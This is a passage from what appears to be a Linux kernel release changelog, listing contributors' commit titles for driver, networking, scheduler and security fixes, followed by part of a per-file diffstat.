mac80211: Fix setting vif links wifi: iwlwifi: mvm: Correctly set link configuration wifi: iwlwifi: mvm: Fix key flags for IGTK on AP interface wifi: iwlwifi: mvm: Don't always bind/link the P2P Device interface Ilkka Koskinen (2): perf vendor events arm64: Fix for AmpereOne metrics arm64/arm: arm_pmuv3: perf: Don't truncate 64-bit registers Ilpo Järvinen (2): selftests/resctrl: Ensure the benchmark commands fits to its array PCI: vmd: Correct PCI Header Type Register's multi-function check Irui Wang (1): media: mediatek: vcodec: Handle invalid encoder vsi Iulia Tanasescu (1): Bluetooth: ISO: Pass BIG encryption info through QoS Ivaylo Dimitrov (1): drivers/clocksource/timer-ti-dm: Don't call clk_get_rate() in stop function Jacob Keller (1): ice: fix pin assignment for E810-T without SMA control Jai Luthra (2): drm: bridge: it66121: Fix invalid connector dereference arm64: dts: ti: k3-am62a7-sk: Drop i2c-1 to 100Khz Jason Gunthorpe (1): iommufd: Add iopt_area_alloc() Jason-JH.Lin (4): drm/mediatek: Fix coverity issue with unintentional integer overflow drm/mediatek: Add mmsys_dev_num to mt8188 vdosys0 driver data drm/mediatek: Fix iommu fault by swapping FBs after updating plane state drm/mediatek: Fix iommu fault during crtc enabling Javier Carrasco (1): rtc: pcf85363: fix wrong mask/val parameters in regmap_update_bits call Jens Axboe (1): io_uring/net: ensure socket is marked connected on connect retry Jernej Skrabec (1): media: cedrus: Fix clock/reset sequence Jerome Brunet (2): ASoC: hdmi-codec: register hpd callback on component probe ASoC: dapm: fix clock get name Jia-Ju Bai (1): usb: dwc2: fix possible NULL pointer dereference caused by driver concurrency Jian Shen (1): net: page_pool: add missing free_percpu when page_pool_init fail Jiasheng Jiang (9): pstore/platform: Add check for kstrdup clk: mediatek: clk-mt6765: Add check for mtk_alloc_clk_data clk: mediatek: clk-mt6779: Add check for mtk_alloc_clk_data clk: mediatek: clk-mt6797: Add check for mtk_alloc_clk_data clk: mediatek: clk-mt7629-eth: Add check for mtk_alloc_clk_data clk: mediatek: clk-mt7629: Add check for mtk_alloc_clk_data clk: mediatek: clk-mt2701: Add check for mtk_alloc_clk_data media: vidtv: psi: Add check for kstrdup media: vidtv: mux: Add check and kfree for kstrdup Jingbo Xu (1): writeback, cgroup: switch inodes with dirty timestamps to release dying cgwbs Jinjie Ruan (10): wifi: rtw88: debug: Fix the NULL vs IS_ERR() bug for debugfs_create_file() wifi: rtw88: Remove duplicate NULL check before calling usb_kill/free_urb() kunit: Fix missed memory release in kunit_free_suite_set() kunit: Fix the wrong kfree of copy for kunit_filter_suites() kunit: Fix possible memory leak in kunit_filter_suites() kunit: test: Fix the possible memory leak in executor_test HID: uclogic: Fix user-memory-access bug in uclogic_params_ugee_v2_init_event_hooks() HID: uclogic: Fix a work->entry not empty bug in __queue_work() iio: frequency: adf4350: Use device managed functions and fix power down issue. misc: st_core: Do not call kfree_skb() under spin_lock_irqsave() Johannes Berg (18): wifi: cfg80211: add flush functions for wiphy work wifi: mac80211: move radar detect work to wiphy work wifi: mac80211: move scan work to wiphy work wifi: mac80211: move offchannel works to wiphy work wifi: mac80211: move sched-scan stop work to wiphy work wifi: mac80211: fix RCU usage warning in mesh fast-xmit wifi: cfg80211: fix off-by-one in element defrag wifi: mac80211: fix # of MSDU in A-MSDU calculation wifi: cfg80211: fix kernel-doc for wiphy_delayed_work_flush() wifi: mac80211: fix check for unusable RX result wifi: iwlwifi: mvm: use correct sta ID for IGTK/BIGTK wifi: mac80211: don't recreate driver link debugfs in reconfig wifi: iwlwifi: mvm: change iwl_mvm_flush_sta() API wifi: iwlwifi: mvm: fix iwl_mvm_mac_flush_sta() wifi: iwlwifi: mvm: remove TDLS stations from FW wifi: iwlwifi: increase number of RX buffers for EHT devices wifi: iwlwifi: mvm: fix netif csum flags wifi: iwlwifi: pcie: synchronize IRQs before NAPI Johnny Liu (1): gpu: host1x: Correct allocated size for contexts Jonas Blixt (1): USB: usbip: fix stub_dev hub disconnect Jonas Gorski (1): hwrng: geode - fix accessing registers Jonas Karlman (4): drm/rockchip: vop: Fix reset of state in duplicate state crtc funcs drm/rockchip: vop: Fix call to crtc reset helper drm/rockchip: vop2: Don't crash for invalid duplicate_state drm/rockchip: vop2: Add missing call to crtc reset helper Jonathan Neuschäfer (1): clk: npcm7xx: Fix incorrect kfree Josh Poimboeuf (4): x86/srso: Fix SBPB enablement for (possible) future fixed HW x86/srso: Print mitigation for retbleed IBPB case x86/srso: Fix vulnerability reporting for missing microcode x86/srso: Fix unret validation dependencies Juergen Gross (1): xenbus: fix error exit in xenbus_init() Junhao He (1): perf: hisi: Fix use-after-free when register pmu fails Junxian Huang (2): RDMA/hns: Fix unnecessary port_num transition in HW stats allocation RDMA/hns: Fix init failure of RoCE VF and HIP08 Kai Huang (1): x86/tdx: Zero out the missing RSI in TDX_HYPERCALL macro Kailang Yang (1): ALSA: hda/realtek: Add support dual speaker for Dell Kajol Jain (2): tools/perf: Update call stack check in builtin-lock.c perf vendor events: Update PMC used in PM_RUN_INST_CMPL event for power10 platform Kathiravan Thirumoorthy (3): clk: qcom: ipq5018: drop the CLK_SET_RATE_PARENT flag from GPLL clocks clk: qcom: ipq9574: drop the CLK_SET_RATE_PARENT flag from GPLL clocks clk: qcom: ipq5332: drop the CLK_SET_RATE_PARENT flag from GPLL clocks Katya Orlova (1): media: s3c-camif: Avoid inappropriate kfree() Kees Cook (1): string: Adjust strtomem() logic to allow for smaller sources Konrad Dybcio (20): clk: qcom: gcc-msm8996: Remove RPM bus clocks clk: qcom: mmcc-msm8998: Don't check halt bit on some branch clks clk: qcom: mmcc-msm8998: Fix the SMMU GDSC drm/msm/adreno: Fix SM6375 GPU ID drm/msm/a6xx: Fix unknown speedbin case arm64: dts: qcom: sc7280: Add missing LMH interrupts arm64: dts: qcom: qrb2210-rb1: Swap UART index arm64: dts: qcom: qrb2210-rb1: Fix regulators arm64: dts: qcom: sdm670: Fix pdc mapping interconnect: qcom: qdu1000: Set ACV enable_mask interconnect: qcom: sc7180: Set ACV enable_mask interconnect: qcom: sc7280: Set ACV enable_mask interconnect: qcom: sc8180x: Set ACV enable_mask interconnect: qcom: sc8280xp: Set ACV enable_mask interconnect: qcom: sdm670: Set ACV enable_mask interconnect: qcom: sdm845: Set ACV enable_mask interconnect: qcom: sm6350: Set ACV enable_mask interconnect: qcom: sm8150: Set ACV enable_mask interconnect: qcom: sm8250: Set ACV enable_mask interconnect: qcom: sm8350: Set ACV enable_mask Konstantin Meskhidze (1): drm/radeon: possible buffer overflow Krzysztof Kozlowski (4): arm64: dts: qcom: msm8992-libra: drop duplicated reserved memory arm64: dts: qcom: sc7280: drop incorrect EUD port on SoC side arm64: dts: qcom: sdx75-idp: align RPMh regulator nodes with bindings ARM: dts: qcom: mdm9615: populate vsdcc fixed regulator Kumar Kartikeya Dwivedi (2): bpf: Fix kfunc callback register type handling selftests/bpf: Make linked_list failure test more robust Kuninori Morimoto (2): ASoC: fsl: mpc5200_dma.c: Fix warning of Function parameter or member not described ASoC: ams-delta.c: use component after check Kuniyuki Iwashima (2): dccp: Call security_inet_conn_request() after setting IPv4 addresses. dccp/tcp: Call security_inet_conn_request() after setting IPv6 addresses. Kunwu.Chan (1): drm/amd/pm: Fix a memory leak on an error path Kursad Oney (1): ARM: 9321/1: memset: cast the constant byte to unsigned char Lalith Rajendran (1): platform/chrome: cros_ec_lpc: Separate host command and irq disable Laurent Pinchart (3): media: i2c: imx219: Convert to CCI register access helpers media: i2c: imx219: Replace register addresses with macros media: i2c: imx219: Drop IMX219_REG_CSI_LANE_MODE from common regs array Leon Hwang (2): selftests/bpf: Correct map_fd to data_fd in tailcalls bpf, x64: Fix tailcall infinite loop Leon Romanovsky (1): RDMA/hfi1: Workaround truncation compilation error Li Lingfeng (1): nbd: fix uaf in nbd_open Li Zhijian (1): cxl/region: Fix cxl_region_rwsem lock held when returning to user space Linus Walleij (1): watchdog: ixp4xx: Make sure restart always works Longfang Liu (1): crypto: hisilicon/qm - fix PF queue parameter issue Lorenzo Bianconi (1): net: ethernet: mtk_wed: fix EXT_INT_STATUS_RX_FBUF definitions for MT7986 SoC Luoyouming (2): RDMA/hns: Add check for SL RDMA/hns: The UD mode can only be configured with DCQCN Maarten Lankhorst (1): ASoC: SOF: core: Ensure sof_ops_free() is still called when probe never ran. Maciej Wieczor-Retman (1): selftests/pidfd: Fix ksft print formats Maciej Żenczykowski (1): netfilter: xt_recent: fix (increase) ipv6 literal buffer length Marc Kleine-Budde (3): can: dev: can_restart(): don't crash kernel if carrier is OK can: dev: can_restart(): fix race condition between controller restart and netif_carrier_on() can: dev: can_put_echo_skb(): don't crash kernel if can_priv::echo_skb is accessed out of bounds Marcel Ziswiler (1): Bluetooth: hci_sync: Fix Opcode prints in bt_dev_dbg/err Marcin Szycik (1): ice: Fix VF-VF direction matching in drop rule in switchdev Marek Behún (1): leds: turris-omnia: Do not use SMBUS calls Marek Marczykowski-Górecki (1): xen-pciback: Consider INTx disabled when MSI/MSI-X is enabled Marek Szyprowski (2): drm: bridge: samsung-dsim: Fix waiting for empty cmd transfer FIFO on older Exynos media: cec: meson: always include meson sub-directory in Makefile Marek Vasut (3): drm: bridge: samsung-dsim: Initialize ULPS EXIT for i.MX8M DSIM media: hantro: Check whether reset op is defined before use media: verisilicon: Do not enable G2 postproc downscale if source is narrower than destination Marijn Suijten (1): arm64: dts: qcom: sm6125: Pad APPS IOMMU address to 8 characters Mario Limonciello (5): crypto: ccp - Get a free page to use while fetching initial nonce crypto: ccp - Fix ioctl unit tests crypto: ccp - Fix DBC sample application error handling crypto: ccp - Fix sample application signature passing crypto: ccp - Fix some unfused tests Mark Rutland (1): arm64/arm: xen: enlighten: Fix KPTI checks Markus Schneider-Pargmann (1): thermal/drivers/mediatek: Fix probe for THERMAL_V2 Masahiro Yamada (2): modpost: fix tee MODULE_DEVICE_TABLE built on big-endian host modpost: fix ishtp MODULE_DEVICE_TABLE built on big-endian host Matti Lehtimäki (1): ARM: dts: qcom: apq8026-samsung-matisse-wifi: Fix inverted hall sensor Matti Vaittinen (1): tools: iio: iio_generic_buffer ensure alignment Maxime Ripard (1): drm/vc4: tests: Fix UAF in the mock helpers MeiChia Chiu (2): wifi: mt76: update beacon size limitation wifi: mt76: mt7915: fix beamforming availability check Michael Ellerman (1): powerpc: Hide empty pt_regs at base of the stack Michal Schmidt (1): ice: lag: in RCU, use atomic allocation Michał Mirosław (3): mfd: core: Un-constify mfd_cell.of_reg usb: chipidea: Fix DMA overwrite for Tegra usb: chipidea: Simplify Tegra DMA alignment code Michel Dänzer (3): drm/amd/display: Check all enabled planes in dm_check_crtc_cursor drm/amd/display: Refactor dm_get_plane_scale helper drm/amd/display: Bail from dm_check_crtc_cursor if no relevant change Mike Tipton (1): debugfs: Fix __rcu type comparison warning Ming Qian (3): media: imx-jpeg: initiate a drain of the capture queue in dynamic resolution change media: amphion: handle firmware debug message media: imx-jpeg: notify source chagne event when the first picture parsed Miri Korenblit (2): wifi: iwlwifi: don't use an uninitialized variable wifi: iwlwifi: empty overflow queue during flush Moudy Ho (1): media: platform: mtk-mdp3: fix uninitialized variable in mdp_path_config() Namhyung Kim (2): perf record: Fix BTF type checks in the off-cpu profiling perf tools: Do not ignore the default vmlinux.h Naresh Solanki (1): hwmon: (pmbus/mp2975) Move PGOOD fix NeilBrown (1): Fix termination state for idr_for_each_entry_ul() Nícolas F. R. A. Prado (1): thermal: core: Don't update trip points inside the hysteresis range Ondrej Zary (1): ACPI: video: Add acpi_backlight=vendor quirk for Toshiba Portégé R100 Paolo Abeni (1): mptcp: properly account fastopen data Patrick Thompson (1): net: r8169: Disable multicast filter for RTL8168H and RTL8107E Patrisious Haddad (1): IB/mlx5: Fix rdma counter binding for RAW QP Paul E. McKenney (1): x86/nmi: Fix out-of-order NMI nesting checks & false positive warning Peng Fan (1): clk: imx: imx8mq: correct error handling path Peter Chiu (4): wifi: mt76: mt7996: set correct wcid in txp wifi: mt76: mt7996: fix wmm queue mapping wifi: mt76: mt7996: fix rx rate report for CBW320-2 wifi: mt76: mt7996: fix TWT command format Peter Zijlstra (2): sched: Fix stop_one_cpu_nowait() vs hotplug perf: Optimize perf_cgroup_switch() Phil Sutter (2): netfilter: nf_tables: Drop pointless memset when dumping rules net: skb_find_text: Ignore patterns extending past 'to' Philip Yang (3): drm/amdgpu: Increase IH soft ring size for GFX v9.4.3 dGPU drm/amdkfd: Remove svm range validated_once flag drm/amdkfd: Handle errors from svm validate and map Pratyush Yadav (1): media: cadence: csi2rx: Unregister v4l2 async notifier Qais Yousef (2): sched/uclamp: Set max_spare_cap_cpu even if max_spare_cap is 0 sched/uclamp: Ignore (util == 0) optimization in feec() when p_util_max = 0 Qu Wenruo (1): btrfs: make found_logical_ret parameter mandatory for function queue_scrub_stripe() Raag Jadav (2): PM: sleep: Fix symbol export for _SIMPLE_ variants of _PM_OPS() pinctrl: baytrail: fix debounce disable case Rafał Miłecki (1): ARM: dts: BCM5301X: Explicitly disable unused switch CPU ports Randy Dunlap (2): clk: linux/clk-provider.h: fix kernel-doc warnings and typos drm: bridge: for GENERIC_PHY_MIPI_DPHY also select GENERIC_PHY Ratheesh Kannoth (2): octeontx2-pf: Fix error codes octeontx2-pf: Fix holes in error code Reinette Chatre (1): PCI/MSI: Provide stubs for IMS functions Reuben Hawkins (1): vfs: fix readahead(2) on block devices Robert Chiras (1): clk: imx: imx8qxp: Fix elcdif_pll clock Robert Richter (1): cxl/core/regs: Rename @dev to @host in struct cxl_register_map Robin Murphy (1): perf/arm-cmn: Fix DTC domain detection Roman Bacik (1): i2c: iproc: handle invalid slave state Rotem Saado (1): wifi: iwlwifi: yoyo: swap cdb and jacket bits values Sascha Hauer (1): PM / devfreq: rockchip-dfi: Make pmu regmap mandatory Sean Wang (3): wifi: mt76: move struct ieee80211_chanctx_conf up to struct mt76_vif wifi: mt76: mt7921: fix the wrong rate pickup for the chanctx driver wifi: mt76: mt7921: fix the wrong rate selected in fw for the chanctx driver Sebastian Andrzej Siewior (1): powerpc/imc-pmu: Use the correct spinlock initializer. Sergey Shtylyov (1): usb: host: xhci-plat: fix possible kernel oops while resuming Sergio Paracuellos (1): clk: ralink: mtmips: quiet unused variable warning Shayne Chen (1): wifi: mt76: fix per-band IEEE80211_CONF_MONITOR flag comparison Shigeru Yoshida (2): tipc: Change nla_policy for bearer-related names to NLA_NUL_STRING virtio/vsock: Fix uninit-value in virtio_transport_recv_pkt() Shuming Fan (1): ASoC: rt712-sdca: fix speaker route missing issue Siddharth Vadapalli (1): arm64: dts: ti: k3-j721s2-evm-gesi: Specify base dtb for overlay file Song Liu (1): bpf: Fix unnecessary -EBUSY from htab_lock_bucket Srinivasan Shanmugam (1): drm/radeon: Remove the references of radeon_gem_ pread & pwrite ioctls StanleyYP Wang (1): wifi: mt76: get rid of false alamrs of tx emission issues Stefan Wahren (1): hwrng: bcm2835 - Fix hwrng throughput regression Stephan Gerhold (1): arm64: dts: qcom: apq8016-sbc: Add missing ADV7533 regulators Steven Rostedt (Google) (1): eventfs: Check for NULL ef in eventfs_set_attr() Sudeep Holla (3): firmware: arm_ffa: Assign the missing IDR allocation ID to the FFA device firmware: arm_ffa: Allow the FF-A drivers to use 32bit mode of messaging clk: scmi: Free scmi_clk allocated when the clocks with invalid info are skipped Sumit Gupta (2): cpufreq: tegra194: fix warning due to missing opp_put firmware: tegra: Add suspend hook and reset BPMP IPC early on resume Theodore Ts'o (1): ext4: add missing initialization of call_notify_error in update_super_work() Thierry Reding (2): memory: tegra: Set BPMP msg flags to reset IPC channels arm64: tegra: Use correct interrupts for Tegra234 TKE Thomas Gleixner (2): cpu/SMT: Make SMT control more robust against enumeration failures x86/apic: Fake primary thread mask for XEN/PV Thomas Richter (1): perf trace: Use the right bpf_probe_read(_str) variant for reading user data Tomas Glozar (1): nd_btt: Make BTT lanes preemptible Tomi Valkeinen (12): drm/bridge: lt8912b: Fix bridge_detach drm/bridge: lt8912b: Fix crash on bridge detach drm/bridge: lt8912b: Manually disable HPD only if it was enabled drm/bridge: lt8912b: Add missing drm_bridge_attach call drm/bridge: tc358768: Fix use of uninitialized variable drm/bridge: tc358768: Fix bit updates drm/bridge: tc358768: Use struct videomode drm/bridge: tc358768: Print logical values, not raw register values drm/bridge: tc358768: Use dev for dbg prints, not priv->dev drm/bridge: tc358768: Rename dsibclk to hsbyteclk drm/bridge: tc358768: Clean up clock period code drm/bridge: tc358768: Fix tc358768_ns_to_cnt() Trond Myklebust (1): nfsd: Handle EOPENSTALE correctly in the filecache Tyrel Datwyler (1): scsi: ibmvfc: Fix erroneous use of rtas_busy_delay with hcall return code Uwe Kleine-König (4): soc: qcom: llcc: Handle a second device without data corruption backlight: pwm_bl: Disable PWM on shutdown, suspend and remove leds: pwm: Don't disable the PWM when the LED should be off pwm: sti: Reduce number of allocations and drop usage of chip_data Vaishnav Achath (1): spi: omap2-mcspi: Fix hardcoded reference clock Varadarajan Narayanan (5): clk: qcom: ipq5332: Drop set rate parent from gpll0 dependent clocks clk: qcom: config IPQ_APSS_6018 should depend on QCOM_SMEM clk: qcom: clk-alpha-pll: introduce stromer plus ops clk: qcom: apss-ipq-pll: Use stromer plus ops for stromer plus pll clk: qcom: apss-ipq-pll: Fix 'l' value for ipq5332_pll_config Vegard Nossum (1): cpupower: fix reference to nonexistent document Vincent Mailhol (2): can: etas_es58x: rework the version check logic to silence -Wformat-truncation can: etas_es58x: add missing a blank line after declaration Viresh Kumar (2): xen: Make struct privcmd_irqfd's layout architecture independent xen: irqfd: Use _IOW instead of the internal _IOC() macro Vlad Buslov (1): net/sched: act_ct: Always fill offloading tuple iifidx Vladimir Oltean (1): net: enetc: shorten enetc_setup_xdp_prog() error message to fit NETLINK_MAX_FMTMSG_LEN Wadim Egorov (1): arm64: dts: ti: k3-am625-beagleplay: Fix typo in ramoops reg Waiman Long (1): cgroup/cpuset: Fix load balance state in update_partition_sd_lb() Wang Yufen (1): powerpc/pseries: fix potential memory leak in init_cpu_associativity() WangJinchao (1): padata: Fix refcnt handling in padata_free_shell() Willem de Bruijn (1): llc: verify mac len before reading mac header Xiaogang Chen (1): drm/amdkfd: fix some race conditions in vram buffer alloc/free of svm code Xiaolei Wang (1): media: ov5640: Fix a memory leak when ov5640_probe fails Yafang Shao (1): bpf: Fix missed rcu read lock in bpf_task_under_cgroup() Yan Zhai (1): ipv6: avoid atomic fragment on GSO packets Yang Jihong (3): perf kwork: Fix incorrect and missing free atom in work_push_atom() perf kwork: Add the supported subcommands to the document perf kwork: Set ordered_events to true in 'struct perf_tool' Yang Yingliang (5): spi: omap2-mcspi: switch to use modern name interconnect: fix error handling in qnoc_probe() pcmcia: cs: fix possible hung task and memory leak pccardd() pcmcia: ds: fix refcount leak in pcmcia_device_add() pcmcia: ds: fix possible name leak in error path in pcmcia_device_add() Yazen Ghannam (1): x86/amd_nb: Use Family 19h Models 60h-7Fh Function 4 IDs Yedidya Benshimol (1): wifi: iwlwifi: mvm: update IGTK in mvmvif upon D3 resume Yi Yang (1): tty: tty_jobctrl: fix pid memleak in disassociate_ctty() Yicong Yang (1): drivers/perf: hisi_pcie: Check the type first in pmu::event_init() Yu Kuai (1): blk-core: use pr_warn_ratelimited() in bio_check_ro() Yujie Liu (1): tracing/kprobes: Fix the order of argument descriptions Yunfei Dong (1): media: mediatek: vcodec: using encoder device to alloc/free encoder memory Yuntao Wang (1): x86/boot: Fix incorrect startup_gdt_descr.size Yury Norov (3): numa: Generalize numa_map_to_online_node() sched/topology: Fix sched_numa_find_nth_cpu() in CPU-less case sched/topology: Fix sched_numa_find_nth_cpu() in non-NUMA case Zev Weiss (1): hwmon: (nct6775) Fix incorrect variable reuse in fan_div calculation Zhang Rui (1): hwmon: (coretemp) Fix potentially truncated sysfs attribute name Zhang Shurong (2): spi: tegra: Fix missing IRQ check in tegra_slink_probe() ASoC: fsl: Fix PM disable depth imbalance in fsl_easrc_probe Zheng Wang (1): media: bttv: fix use after free error due to btv->timeout timer Zheng Yejian (1): livepatch: Fix missing newline character in klp_resolve_symbols() Ziyang Xuan (1): Bluetooth: Make handle of hci_conn be unique wahrenst (1): ARM: 9323/1: mm: Fix ARCH_LOW_ADDRESS_LIMIT when CONFIG_ZONE_DMA Documentation/ABI/testing/sysfs-driver-qat | 2 + Documentation/admin-guide/hw-vuln/srso.rst | 24 +- .../devicetree/bindings/mfd/mt6397.txt | 4 +- .../bcm4708-buffalo-wzr-1166dhp-common.dtsi | 8 + .../dts/broadcom/bcm4708-luxul-xap-1510.dts | 8 + .../dts/broadcom/bcm4708-luxul-xwc-1000.dts | 8 + .../dts/broadcom/bcm4708-netgear-r6250.dts | 8 + .../dts/broadcom/bcm4708-smartrg-sr400ac.dts | 8 + .../broadcom/bcm47081-buffalo-wzr-600dhp2.dts | 8 + .../dts/broadcom/bcm47081-luxul-xap-1410.dts | 8 + .../dts/broadcom/bcm47081-luxul-xwr-1200.dts | 8 + .../dts/broadcom/bcm4709-netgear-r8000.dts | 8 + .../dts/broadcom/bcm47094-dlink-dir-885l.dts | 8 + .../dts/broadcom/bcm47094-dlink-dir-890l.dts | 8 + .../dts/broadcom/bcm47094-luxul-abr-4500.dts | 8 + .../dts/broadcom/bcm47094-luxul-xap-1610.dts | 8 + .../dts/broadcom/bcm47094-luxul-xbr-4500.dts | 8 + .../dts/broadcom/bcm47094-luxul-xwc-2000.dts | 8 + .../dts/broadcom/bcm47094-luxul-xwr-3100.dts | 8 + .../broadcom/bcm47094-luxul-xwr-3150-v1.dts | 8 + .../dts/broadcom/bcm53015-meraki-mr26.dts | 8 + .../dts/broadcom/bcm53016-meraki-mr32.dts | 8 + arch/arm/boot/dts/broadcom/bcm953012er.dts | 8 + .../qcom-apq8026-samsung-matisse-wifi.dts | 4 +- arch/arm/boot/dts/qcom/qcom-mdm9615.dtsi | 14 +- arch/arm/boot/dts/renesas/r8a7792-blanche.dts | 2 +- arch/arm/boot/dts/st/stm32f7-pinctrl.dtsi | 1 - arch/arm/boot/dts/ti/omap/am3517-evm.dts | 16 +- arch/arm/include/asm/arm_pmuv3.h | 48 +- arch/arm/include/asm/dma.h | 3 + arch/arm/lib/memset.S | 1 + arch/arm/xen/enlighten.c | 25 +- arch/arm64/boot/dts/freescale/imx8mm.dtsi | 1 + arch/arm64/boot/dts/freescale/imx8mn.dtsi | 1 + .../dts/freescale/imx8mp-debix-model-a.dts | 3 - .../boot/dts/freescale/imx8qm-ss-img.dtsi | 2 +- arch/arm64/boot/dts/marvell/cn9130-crb.dtsi | 4 +- arch/arm64/boot/dts/marvell/cn9130-db.dtsi | 4 +- .../arm64/boot/dts/nvidia/tegra234-p3767.dtsi | 4 +- arch/arm64/boot/dts/nvidia/tegra234.dtsi | 12 +- arch/arm64/boot/dts/qcom/apq8016-sbc.dts | 3 + arch/arm64/boot/dts/qcom/msm8916.dtsi | 2 +- arch/arm64/boot/dts/qcom/msm8939.dtsi | 2 +- arch/arm64/boot/dts/qcom/msm8976.dtsi | 8 +- .../boot/dts/qcom/msm8992-xiaomi-libra.dts | 5 - arch/arm64/boot/dts/qcom/qrb2210-rb1.dts | 90 ++-- arch/arm64/boot/dts/qcom/sc7280.dtsi | 32 +- arch/arm64/boot/dts/qcom/sdm670.dtsi | 3 +- arch/arm64/boot/dts/qcom/sdm845-cheza.dtsi | 32 +- arch/arm64/boot/dts/qcom/sdm845-mtp.dts | 2 + arch/arm64/boot/dts/qcom/sdx75-idp.dts | 2 +- arch/arm64/boot/dts/qcom/sm6125.dtsi | 2 +- arch/arm64/boot/dts/qcom/sm8150.dtsi | 12 +- arch/arm64/boot/dts/qcom/sm8350.dtsi | 2 +- arch/arm64/boot/dts/ti/Makefile | 7 +- arch/arm64/boot/dts/ti/k3-am62-verdin.dtsi | 1 + .../arm64/boot/dts/ti/k3-am625-beagleplay.dts | 2 +- arch/arm64/boot/dts/ti/k3-am62a7-sk.dts | 2 +- arch/arm64/include/asm/arm_pmuv3.h | 25 +- arch/arm64/include/asm/cputype.h | 3 +- arch/arm64/kvm/guest.c | 2 +- arch/powerpc/include/asm/nohash/32/pte-40x.h | 3 - arch/powerpc/kernel/process.c | 26 +- arch/powerpc/kernel/traps.c | 2 + arch/powerpc/kexec/core.c | 3 + arch/powerpc/perf/imc-pmu.c | 2 +- arch/powerpc/platforms/book3s/vas-api.c | 34 +- arch/powerpc/platforms/pseries/lpar.c | 4 +- arch/powerpc/platforms/pseries/vas.c | 4 +- arch/powerpc/sysdev/xive/native.c | 2 +- arch/riscv/boot/Makefile | 1 + arch/riscv/boot/dts/allwinner/sun20i-d1s.dtsi | 1 - arch/riscv/kernel/cpu.c | 11 +- arch/sh/Kconfig.debug | 11 + arch/x86/coco/tdx/tdcall.S | 1 + arch/x86/include/asm/nospec-branch.h | 4 +- arch/x86/include/asm/sparsemem.h | 2 + arch/x86/include/asm/uaccess.h | 2 +- arch/x86/kernel/amd_nb.c | 3 + arch/x86/kernel/apic/apic.c | 11 + arch/x86/kernel/cpu/bugs.c | 42 +- arch/x86/kernel/head64.c | 2 +- arch/x86/kernel/nmi.c | 13 +- arch/x86/lib/copy_mc.c | 8 +- arch/x86/mm/maccess.c | 19 +- arch/x86/mm/numa.c | 80 +++ arch/x86/net/bpf_jit_comp.c | 28 +- block/blk-core.c | 4 +- crypto/asymmetric_keys/Kconfig | 3 +- crypto/asymmetric_keys/Makefile | 3 +- crypto/asymmetric_keys/selftest.c | 13 +- crypto/asymmetric_keys/x509_parser.h | 9 - crypto/asymmetric_keys/x509_public_key.c | 8 +- drivers/accel/habanalabs/gaudi2/gaudi2.c | 4 +- drivers/acpi/device_sysfs.c | 10 +- drivers/acpi/numa/srat.c | 11 +- drivers/acpi/property.c | 19 +- drivers/acpi/video_detect.c | 26 + drivers/base/regmap/regmap-debugfs.c | 2 +- drivers/base/regmap/regmap.c | 16 +- drivers/block/nbd.c | 11 +- drivers/char/hw_random/bcm2835-rng.c | 2 +- drivers/char/hw_random/core.c | 6 + drivers/char/hw_random/geode-rng.c | 6 +- drivers/clk/clk-npcm7xx.c | 2 +- drivers/clk/clk-scmi.c | 1 + drivers/clk/imx/Kconfig | 1 + drivers/clk/imx/clk-imx8-acm.c | 16 +- drivers/clk/imx/clk-imx8mq.c | 17 +- drivers/clk/imx/clk-imx8qxp.c | 2 +- drivers/clk/keystone/pll.c | 15 +- drivers/clk/mediatek/clk-mt2701.c | 8 + drivers/clk/mediatek/clk-mt6765.c | 6 + drivers/clk/mediatek/clk-mt6779.c | 4 + drivers/clk/mediatek/clk-mt6797.c | 6 + drivers/clk/mediatek/clk-mt7629-eth.c | 4 + drivers/clk/mediatek/clk-mt7629.c | 6 + drivers/clk/mediatek/clk-pll.c | 6 +- drivers/clk/qcom/Kconfig | 1 + drivers/clk/qcom/apss-ipq-pll.c | 4 +- drivers/clk/qcom/clk-alpha-pll.c | 63 +++ drivers/clk/qcom/clk-alpha-pll.h | 1 + drivers/clk/qcom/clk-rcg2.c | 14 +- drivers/clk/qcom/gcc-ipq5018.c | 3 - drivers/clk/qcom/gcc-ipq5332.c | 4 - drivers/clk/qcom/gcc-ipq9574.c | 4 - drivers/clk/qcom/gcc-msm8996.c | 237 +-------- drivers/clk/qcom/gcc-sm8150.c | 2 +- drivers/clk/qcom/mmcc-msm8998.c | 7 +- drivers/clk/ralink/clk-mtmips.c | 20 +- drivers/clk/renesas/rcar-cpg-lib.c | 15 +- drivers/clk/renesas/rzg2l-cpg.c | 62 +-- drivers/clk/renesas/rzg2l-cpg.h | 2 +- drivers/clk/ti/divider.c | 8 +- drivers/clocksource/arm_arch_timer.c | 5 +- drivers/clocksource/timer-ti-dm.c | 36 +- drivers/cpufreq/tegra194-cpufreq.c | 2 + drivers/crypto/caam/caamalg.c | 3 +- drivers/crypto/caam/caamalg_qi2.c | 3 +- drivers/crypto/ccp/dbc.c | 2 +- drivers/crypto/hisilicon/hpre/hpre_main.c | 7 +- drivers/crypto/hisilicon/qm.c | 18 +- drivers/crypto/hisilicon/qm_common.h | 1 - drivers/crypto/hisilicon/sec2/sec_main.c | 5 + drivers/crypto/hisilicon/zip/zip_main.c | 5 + .../intel/qat/qat_4xxx/adf_4xxx_hw_data.c | 211 +++++--- drivers/crypto/intel/qat/qat_4xxx/adf_drv.c | 34 +- .../intel/qat/qat_common/adf_accel_devices.h | 3 +- .../crypto/intel/qat/qat_common/adf_admin.c | 39 +- .../intel/qat/qat_common/adf_cfg_services.h | 34 ++ .../intel/qat/qat_common/adf_cfg_strings.h | 1 + .../intel/qat/qat_common/adf_common_drv.h | 2 + .../crypto/intel/qat/qat_common/adf_init.c | 20 +- .../crypto/intel/qat/qat_common/adf_sysfs.c | 28 +- .../qat/qat_common/adf_transport_debug.c | 4 +- .../qat/qat_common/icp_qat_fw_init_admin.h | 1 + .../intel/qat/qat_common/qat_algs_send.c | 46 +- drivers/cxl/core/core.h | 1 + drivers/cxl/core/hdm.c | 40 +- drivers/cxl/core/mbox.c | 55 +- drivers/cxl/core/memdev.c | 157 +++--- drivers/cxl/core/port.c | 53 +- drivers/cxl/core/region.c | 241 +++++---- drivers/cxl/core/regs.c | 28 +- drivers/cxl/cxl.h | 4 +- drivers/cxl/cxlmem.h | 13 +- drivers/cxl/pci.c | 80 ++- drivers/devfreq/event/rockchip-dfi.c | 15 +- drivers/dma/idxd/Makefile | 6 +- drivers/dma/pxa_dma.c | 1 - drivers/dma/ti/edma.c | 4 +- drivers/firmware/arm_ffa/bus.c | 1 + drivers/firmware/arm_ffa/driver.c | 12 +- drivers/firmware/tegra/bpmp.c | 30 ++ drivers/firmware/ti_sci.c | 46 +- drivers/gpio/gpio-sim.c | 4 +- drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c | 2 + 